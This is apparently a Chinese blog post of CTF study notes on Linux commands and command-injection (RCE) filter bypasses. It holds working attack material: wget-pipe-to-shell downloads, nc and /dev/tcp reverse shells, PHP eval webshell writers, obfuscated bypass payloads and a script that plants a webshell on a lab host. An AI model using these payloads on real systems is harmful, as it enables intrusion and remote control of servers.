记录一次RCE的学习和有关Linux基础指令学习

本文最后更新于 2026年4月16日 晚上

前言

首先rce的实质就是在系统上运行恶意代码,大部分主流系统都是Linux,也有ubuntu,Windows的,但是很少见

首先在CTF的场景下

对于“cat”指令的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
`more`:一页一页的显示档案内容 more /tmp/flag.txt
`less`:与 more 类似 less /tmp/flag.txt
`head`:查看头几行 head /tmp/flag.txt
`tac`:从最后一行开始显示,可以看出 taccat 的反向显示 tac /tmp/flag.txt
`tail`:查看尾几行 tail /tmp/flag.txt
`nl`:显示的时候,顺便输出行号nl /tmp/flag.txt
`od`:以二进制的方式读取档案内容
`vi`:一种编辑器,这个也可以查看
`vim`:一种编辑器,这个也可以查看
`sort`:可以查看 sort /tmp/flag.txt
`uniq`:可以查看uniq /tmp/flag.txt
`xxd`:查看原始文件 xxd /tmp/flag.txt
`看文件头
判断文件真实类型特别有用。
`xxd -l 16 文件名`
常见文件头:
PNG: 89 50 4e 47
JPG: ff d8 ff
GIF: 47 49 46 38
ZIP: 50 4b 03 04`
`c/at /tmp/f*`:大部分通杀

特殊例子

cp指令:

顾名思义,cp就是将一个文件复制拷贝到另一个文件,默认情况下,当转移的目标目录中没有实际对象,就会在本地创造一个
例如:
cp /tmp/flag.txt /var/www/html/1.php

mv指令:

同cp一样,mv /tmp/flag.txt /var/www/html/1.php

%00截断:

这个跟文件包含扯点关系,特别的,在php文件名后缀绕过尤为常见

od指令:

od -c

按“字符”方式显示。

效果类似:

  • 普通字符直接显示
  • 换行会显示成 \n

这个最适合看文本文件。

od -An

不显示左边那一列偏移地址。

这样输出会更干净。

od -tx1

按十六进制、1字节一组显示。

比如 61 62 63 就对应 abc。

od -a

显示字符名字,比如空格、换行之类。

Linux常用指令

grep指令

在线进制转换网址:https://probiusofficial.github.io/bashFuck/

一般形式

1
2
3
grep flag /tmp/flag.txt 意为“在/tmp/flag.txt里面抓取含有‘flag’开头的字符”
或者在当前目录里批量查找
grep -r "flag"

4. 常用参数


-i 忽略大小写

1
grep -i "flag" test.txt

-n 显示行号

1
grep -n "flag" test.txt

输出类似:

1
2:flag{123}

意思是第 2 行匹配到了。这个很好用,方便定位。


-r 递归搜索目录

1
grep -r "flag" .

在当前目录下所有文件里找。也可以指定目录:

1
grep -r "flag" /var/www/html

-v 反向匹配

显示不包含某内容的行:

1
grep -v "flag" test.txt

这个命令会输出所有没有 flag 的行。


-w 精确匹配整个单词

1
grep -w "cat" test.txt

只匹配单词 cat,不会匹配其他的词


-o 只输出匹配到的部分

1
grep -o "flag{.*}" test.txt

如果一整行很长,只想提取匹配部分,这个很好用。


-E 使用扩展正则

1
grep -E "flag|key|password" test.txt

意思是只匹配flag,key,password


5. grep 最常见的几种写法

搜文件里的关键词

1
grep "flag" file.txt

搜目录里的关键词

1
grep -r "flag" .

显示行号

1
grep -n "flag" file.txt

忽略大小写

1
grep -i "flag" file.txt

多个关键词任选一个

1
grep -E "flag|key|token" file.txt

只看匹配到的内容

1
grep -o "flag{[^}]*}" file.txt

这个在 CTF 里尤其常见,用来直接提 flag。


6. 正则匹配怎么理解

grep 最强的地方之一,就是可以配合正则表达式。

例如:

1
grep "flag{.*}" file.txt

含义:

  • flag{:固定开头
  • .*:任意字符,任意长度
  • }:直到右花括号

但这个写法有时会贪婪匹配太多。
更稳一点的是:

1
grep -o 'flag{[^}]*}' file.txt

意思是:

  • flag{ 开头
  • 后面跟若干个不是 } 的字符
  • 直到 } 结束

这通常更适合提 flag。


7. 跟管道一起用

grep 经常和别的命令一起用。

配合 cat

1
cat file.txt | grep "flag"

但一般其实可以直接写成:

1
grep "flag" file.txt

更简洁。


配合 strings

二进制文件里找可读字符串:

1
strings file.bin | grep "flag"

这在 CTF 很常见。

因为二进制不能直接 grep 出来时,先 strings 提取可打印字符串,再 grep


配合 xxd

1
xxd file.bin | grep "666c6167"

因为 666c6167flag 的 hex。


配合 ps

查进程:

1
ps aux | grep nginx

看有没有 nginx 进程。

但注意:经常会把 grep nginx 自己也查出来。


配合 ls

1
ls | grep ".txt"

筛出 .txt 文件。不过更常规还是用 shell 通配符。


8. CTF 场景里的常用打法

直接找 flag

1
grep -r "flag{" .

提取 flag 格式

1
grep -r -o 'flag{[^}]*}' .

这个会递归找当前目录,并只输出匹配到的 flag 内容。


在二进制里找 flag

1
strings chall | grep "flag"

或者:

1
strings chall | grep -E 'flag{[^}]*}'

在日志里找可疑请求

1
2
3
4
grep "POST" access.log
grep "eval" access.log
grep "cmd" access.log
grep "union" access.log

在源码里找危险函数

1
2
3
4
5
grep -r "eval" .
grep -r "system" .
grep -r "exec" .
grep -r "assert" .
grep -r "preg_replace" .

这个在审计 PHP、Python、JS 代码时很常用。


9. grep 和二进制文件

有时 grep 会提示:

1
Binary file matches

因为目标文件是二进制。

这时可以:

方法 1:先 strings

1
strings file.bin | grep "flag"

方法 2:强制当文本处理

1
grep -a "flag" file.bin

-a 表示把二进制文件按文本看。


10. 几个特别实用的参数组合

只显示匹配到的文件名

1
grep -rl "flag" .
  • -r 递归
  • -l 只显示文件名

适合先定位哪几个文件里有目标内容。


显示不匹配的文件名

1
grep -rL "flag" .

统计匹配次数

1
grep -c "flag" file.txt

输出匹配行数。


显示匹配前后几行

1
grep -n -A 3 -B 3 "flag" file.txt
  • -A 3:后 3 行
  • -B 3:前 3 行

这个看上下文非常好用。

find指令

最简单的指令

1
2
3
find . -name "文件名字" ---在当前目录查找,改变'.'即可更换查找位置
find . -name "name" 2>/dev/null 意为忽略报错,更容易查找到关键信息
find . -name -iname "name" 2>/dev/null 意为忽略大小查找

也支持通配符

1
find . -name "*.txt"    ---找所有 `.txt` 文件。
1
find . -name "flag*"   ---找所有以 `flag` 开头的文件。

注意:最好加引号,避免 * 被 shell 提前展开。

-type 按类型找

1
find . -type f

找普通文件。

1
find . -type d

找目录。

常见的:

  • f:普通文件
  • d:目录
  • l:符号链接

例如:

1
find . -type f -name "*.php"   ---找当前目录下所有 PHP 文件。

-perm 按权限找

1
find . -perm 777   ---找权限正好是 `777` 的文件。

找 SUID 文件

1
find / -perm -4000 2>/dev/null   ---这个很重要,常用于 Linux 提权。

找可写目录

1
find / -writable -type d 2>/dev/null   ---查哪些目录可写。

wget指令

下载一个脚本然后执行

1
2
3
wget http://your-server/test.sh
chmod +x test.sh
./test.sh

或者直接:

1
wget -O test.sh http://your-server/test.sh && chmod +x test.sh && ./test.sh

下载到标准输出,再交给 shell 执行

1
wget -qO- http://your-server/test.sh | sh

这个组合极常见。

拆开看:

  • -q:安静模式,不显示下载过程
  • -O-:输出到标准输出
  • | sh:把下载到的内容直接交给 sh 执行

如果脚本是 bash 的,也可以:

1
wget -qO- http://your-server/test.sh | bash   ---这个不落地,不生成文件,动作很快。

7.3 下载后直接看内容

1
wget -qO- http://example.com/flag.txt     ---如果你只是想看网页、文本、配置文件内容,而不想保存成本地文件,这是最方便的。

7.4 下载二进制工具然后赋权运行

1
2
3
wget -O exp http://your-server/exp
chmod +x exp
./exp

一行写法:

1
wget -O exp http://your-server/exp && chmod +x exp && ./exp

7.5 下载到指定目录后执行

1
wget -P /tmp http://your-server/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh   ---靶机当前目录不可写时很常见。

8. 常用参数


-q 静默模式

1
wget -q URL   ---不显示下载进度。

常和 -O- 搭配:

1
wget -qO- URL

-O 指定输出文件

1
wget -O a.txt URL   ---不是数字 0,是大写字母 O。

-c 断点续传

1
wget -c URL

-P 指定下载目录

1
wget -P /tmp URL

有些 HTTPS 证书有问题,可以跳过校验:

1
wget --no-check-certificate URL

例如:

1
wget --no-check-certificate https://example.com/a.sh

--post-data

可以发 POST 请求:

1
wget --post-data="a=1&b=2" -O- http://example.com/test.php   ---这个在一些调试场景能用到。

自定义请求头:

1
wget --header="Cookie: PHPSESSID=xxxx" -O- http://example.com/   ---例如带 cookie 抓页面内容。

--user-agent

伪造 UA:

1
wget --user-agent="Mozilla/5.0" -O- http://example.com/

9. wget 和管道、其他命令的组合技

这部分是重点。


wget | sh

1
wget -qO- http://your-server/a.sh | sh

用途:

  • 下载一个 shell 脚本
  • 直接执行
  • 不落地

如果脚本里用了 bash 语法:

1
wget -qO- http://your-server/a.sh | bash

9.2 wget && chmod && 执行

1
wget -O run.sh http://your-server/run.sh && chmod +x run.sh && ./run.sh   ---这是最常见的“下载-赋权-执行”链。

9.3 wget | grep

1
wget -qO- http://example.com | grep "flag"

用途:

  • 抓网页源码
  • 从中筛关键字

也可以提取 flag:

1
wget -qO- http://example.com | grep -o 'flag{[^}]*}'

9.4 wget | strings

如果抓下来的内容可能不是纯文本,或者你想抽可打印字符串:

1
wget -qO- http://example.com/file.bin | strings

再结合 grep:

1
wget -qO- http://example.com/file.bin | strings | grep flag

curl指令

最常用

1
2
3
4
5
6
curl URL
curl -s URL 静默,不显示进度
curl -L URL 跟随跳转
curl -I URL 只看响应头
curl -o 文件名 URL 自定义保存名
curl -O URL 用原文件名保存

nc指令

常见连接shell命令

1
nc IP 端口 -e sh   ---在靶机上

dd指令

基本框架

1
2
3
dd if=要拷贝的文件 of=拷贝后输出的文件 bs=1 skip=0 count=100   ---从1字节开始,每有一个字节就复制到文件,一直到第100个字节为止
例:dd if=/tmp/flag.txt of=/var/www/html/1.php bs=1 skip=0 count=100
dd if=/tmp/flag.txt of=/var/www/html/1.php bs=1 skip=0 count=100 |strings 提取后直接查看

Ping场景

如图,当输入ping的地址后就是|的隔断输入指令

而对于管道符,这里有几种绕过

LINUX系统的管道符:
1、” ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 显示后面的语句的执行结果。
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。

WINDOWS系统的管道符:

1、” | “ :是直接后面的执行语句
2、” || “ :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3、” & “ :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4、” && “ :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
注:windows没有“;”

过滤空格

知识点:空格可以替换 <,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
因为空格被过滤,所以

1
127.0.0.1&cat<flag.php

查看网页源代码就有答案了哈。

过滤运算符

运算符分号可以用 %0a,%0d,%0D%0A替代。

变量拼接

1
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

base64编码

echo$IFS$1Y2F0IC90bXAvZmxhZy50eHQ=|base64$IFS$1-d|sh
Y2F0IC90bXAvZmxhZy50eHQ=解码为`cat /tmp/flag.txt

(base32也如此)

但是在常规rce中,语法为

1
base32 /tmp/flag.txt | base32 -d

base64也如此

内敛绕过

就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1ls
会抓取ls返回的所有文件的内容

00截断绕strpos函数

PHP5.2+可以用截断漏洞(%00)绕过strpos检验函数

打反弹shell

1
127.0.0.1|bash -c 'exec bash -i &>/dev/tcp/ip/port<&1'

RCE写入木马

命令执行写入一句话

1
echo "<?php @eval(\$_POST[\'test\']);?>" > 1.php

代码执行写入一句话

1
2
system('echo "<?php @eval($_POST[\'test\']);?>" > 1.php');
?a=file_put_contents('1.php','<?php @eval($_POST[\'test\']);?>');

实战

好靶场:只允许你输入7个字符,你还能执行你想要的命令吗

这里的思路是

  1. 利用 > 重定向和 \ 换行,将长命令分割成多个7字符片段写入文件
  2. ls -t 排序:按时间顺序排列文件名,组合成完整命令
  3. 执行:通过 sh 执行构造好的脚本

攻击脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import time
import requests

url = "http://4x4qj9v.haobachang2.loveli.com.cn:8888/"

with open("payload.txt", 'r') as f:
for line in f.readlines():
payload = line.strip()
data = {
'command': payload
}

try:
response = requests.post(url, data=data)
print(f"已发送 payload: {payload}")
print(f"状态码: {response.status_code}")
except Exception as e:
print(f"请求失败: {e}")
time.sleep(0.2)
print("所有payload发送完成")

try:
check_response = requests.get("http://4x4qj9v.haobachang2.loveli.com.cn:8888/1.php")
if check_response.status_code == 200:
print("成功上传webshell!")
else:
print("webshell可能未成功上传")
except:
print("检查webshell时出错")

然后同文件夹payload.txt里面写上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>\|\\
>z8+\\
>0pO\\
>xJ1\\
>Wyc\\
>1NU\\
>9QT\\
>oJF\\
>YWw\\
>GV2\\
>AgQ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

这里base64转码得到

1
<?php eval($_POST[1]);?>

运行连接蚁剑,拿到flag

杂payload

一些绕过

1
2
3
4
5
6
7
8
$0 /???/????.???   ---/tmp/flag.txt
$'\143\141\164' $'\057\164\155\160\057\146\154\141\147\056\164\170\164' ---转八进制
. /???/????.??? ---.加空格转为可读文件
在某些情况下,我们可能会需要用到8进制或者2进制来绕过一些很恶心的waf
当0和1被过滤了后呢,我们可以用${#}来代替0,${##}来代替1
快捷payload(cat /flag):
---二进制---
${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'

5字符限制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
>l\\
>s\\
>\ \\
>\>0
>-t\\
ls>a
ls>>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>k7\\
>XS\\
>sx\\
>VF\\
>dF\\
>X0\\
>gk\\
>bC\\
>Zh\\
>ZX\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>ho\\
>ec\\
sh a
sh 0
随后访问http://example.co/1.php?1=system('cat%20/tmp/flag.txt');

4字符限制绕过

1


记录一次RCE的学习和有关Linux基础指令学习
https://azumisaki.github.io/2026/04/14/rce/
作者
AzumiSaki
发布于
2026年4月14日
许可协议